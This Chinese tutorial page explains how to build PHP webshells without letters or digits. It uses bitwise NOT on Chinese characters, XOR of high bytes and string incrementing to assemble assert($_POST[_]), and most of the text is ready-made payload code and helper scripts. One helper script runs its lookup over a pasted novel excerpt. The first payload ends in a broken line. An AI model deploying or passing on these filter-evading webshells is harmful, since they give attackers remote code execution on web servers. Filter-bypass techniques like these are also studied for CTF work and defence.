Java教程

无字符shell

本文主要是介绍无字符shell,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

无字符shell

0x01取反

**脚本://Author: m0c1nu7 **

<?php
//Author: m0c1nu7 
error_reporting(0);
header('Content-Type: text/html; charset=utf-8');

function str_split_unicode($str, $l = 0) {
 
    if ($l > 0) {
        $ret = array();
        $len = mb_strlen($str, "UTF-8");
        for ($i = 0; $i < $len; $i += $l) {
            $ret[] = mb_substr($str, $i, $l, "UTF-8");
        }
        return $ret;
    }
    return preg_split("//u", $str, -1, PREG_SPLIT_NO_EMPTY);
}
 
$s = '“多谢领长,我阎影这辈子做的最正确的事情就是跟随了领长一起,否则我现在还在百离神城煎熬着。”阎影语气激动,他内心深处都为自己的英明神武感到不可思议。不仅仅是阎影,所有的人都一样,一想到马上就可以在这种神灵气浓郁的地方修炼,每一个人都是充满了憧憬和期待。九十多人每个人都选择了自己的地盘,然后打上禁制。哪怕大家都是在一个领,修炼之时也都有自己的秘密。蓝小布没有开始修炼,他花费了数天时间,将他们这个领修炼的地方布置了一个防御神阵。不仅如此,他又布置了困杀神阵、警示神阵和屏蔽神阵。任何人敢踏入他们的地盘,第一时间警示,第二时间就会被困住。至于能不能杀,蓝小布可不会担心,他们这里九十多人哪怕对方所有人包括那个天神修士同时发难,他们也有机会反抗。除了这些神阵之外,最大的重头戏是一个聚灵神阵。
至于会不会将神灵气全部聚拢过来,引起对面的不满。呵呵,那根本就不在蓝小布的考虑范围之内。
如果他们实力不足的话,对面早就杀了他们。既然如此,还有什么好客气的。修炼界,提升自己的实力才是硬道理。一开始修炼,几乎所有的人都忍不住要长啸出声。从出现在神界起,他们什么时候有这种富裕的修炼环境了?平时都是这里蹭一点神灵气,那里蹭一点神灵气,就这样依靠岁月的叠加,他们才勉强修炼到今天的地步。可现在,这里一天吸收的神灵气比起他们往日多年吸收的神灵气还要浓郁和丰厚。这种富裕日子,从来没有有过啊。这让第十领所有的修士都感觉到有一种不真实的感觉。蓝小布带来的人,虽然修为都不高,底蕴却一个比一个强。可以说这里底蕴了蓝小布最低之外,哪一个不是在眼前的境界沉浸多少万年了?因为底蕴足够,一开始修炼,那浓郁的神灵气席卷过来,每个人的修为都是在蹭蹭上涨。至于修为顿滞?不存在的。有一名仙帝九层的修士,只是修炼了一天,就感悟到了育神境,出来渡劫晋级育神。而这仅仅是开始,在蓝小布布置了聚灵神阵后,大家感受到神灵气比之前还要浓郁。这种机会如果不把握住,那他们就白活一世了。现在没有人做任何多余的事情,每个人都在疯狂修炼之中。也许因为蓝小布这一群人来了就疯狂修炼,湖对面的修士担心神灵气会减弱,同样的是疯狂的修炼。';

$arr_str=str_split_unicode($s);

for ($i=0; $i < strlen($s) ; $i++) { 
	echo $arr_str[$i].' ------- '.~$arr_str[$i][1].'<br>';
}
 
 ?>


拼接payload

<?php
//assert($_POST[_])
$__=[];//定义一个空数组
$_=($__==$__);//空数组比较得 1
$___=~(垂);

$__=$___[$_];//a
$___=~(挑);
$__=$__.$___[$_].$___[$_];//ass
$___=~(的);
$__=$__.$___[$_];//asse
$___=~(千);
$__=$__.$___[$_];//asser
$___=~(独);
$__=$__.$___[$_];//assert

$___=~(诗);
$____=$___[$_];//P
$___=~(尘);
$____=$____.$___[$_];//PO
$___=~(次);
$____=$____.$___[$_];//POS
$___=~(站);
$____=$____.$___[$_];//POST
$___=~(样);
$____=$___[$_].$____;//_POST
$_=$$____;//$_POST
$__($[_]);


0x02异或

取值脚本忘记哪偷的了

<?php
function finds($string){
	$index = 0;
	$a=[33,35,36,37,40,41,42,43,45,47,58,59,60,62,63,64,92,93,94,123,125,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255];
	for($i=27;$i<count($a);$i++){
		for($j=27;$j<count($a);$j++){
			$x = $a[$i] ^ $a[$j];
			for($k = 0;$k<strlen($string);$k++){
				if(ord($string[$k]) == $x){
					echo $string[$k]."\n";
					echo '%' . dechex($a[$i]) . '^%' . dechex($a[$j])."\n";
					$index++;
					if($index == strlen($string)){
						return 0;
					}
				}
			}
		}
	}
}
finds("aqua_is_cuteaqua_is_cute");
?>

<?php
$b=urldecode('%86');
$c=urldecode('%d9');
$a=($b^$c);
echo($a);
?>

踩坑:

直接用url编码后的字符进行异或,php没对url进行转码,导致所有字符都是与%^%,弄了一上午

!!!!!!!!!!!!!!!!!

0x03:php 递增/递减运算符

<?php
//ASSERT($_POST[_])
$_=[];//定义一个数组
//$__=[];
$__=$_.'';//$__=Array
echo($__);
$_=$_['!'=='@'];//$_=0
echo($__[$_]);//A
$_=$__[$_];//$_=A
$__=$_;//$__=A
$_++;$_++;$_++;$_++;
$___=$_;//$___=E
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;
$_____=$_;//O
$_++;
$______=$_;//P
$_++;$_++;
$____=$_;//$____=R
$_++;
$_______=$_;//S
$_++;
$________=$_;//T
$_=$__.$_______.$_______.$___.$____.$________;
$__='_'.$______.$_____.$_______.$________;
$__=$$__;//$_POST=$__
$_($__[_]);
?>
这篇关于无字符shell的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!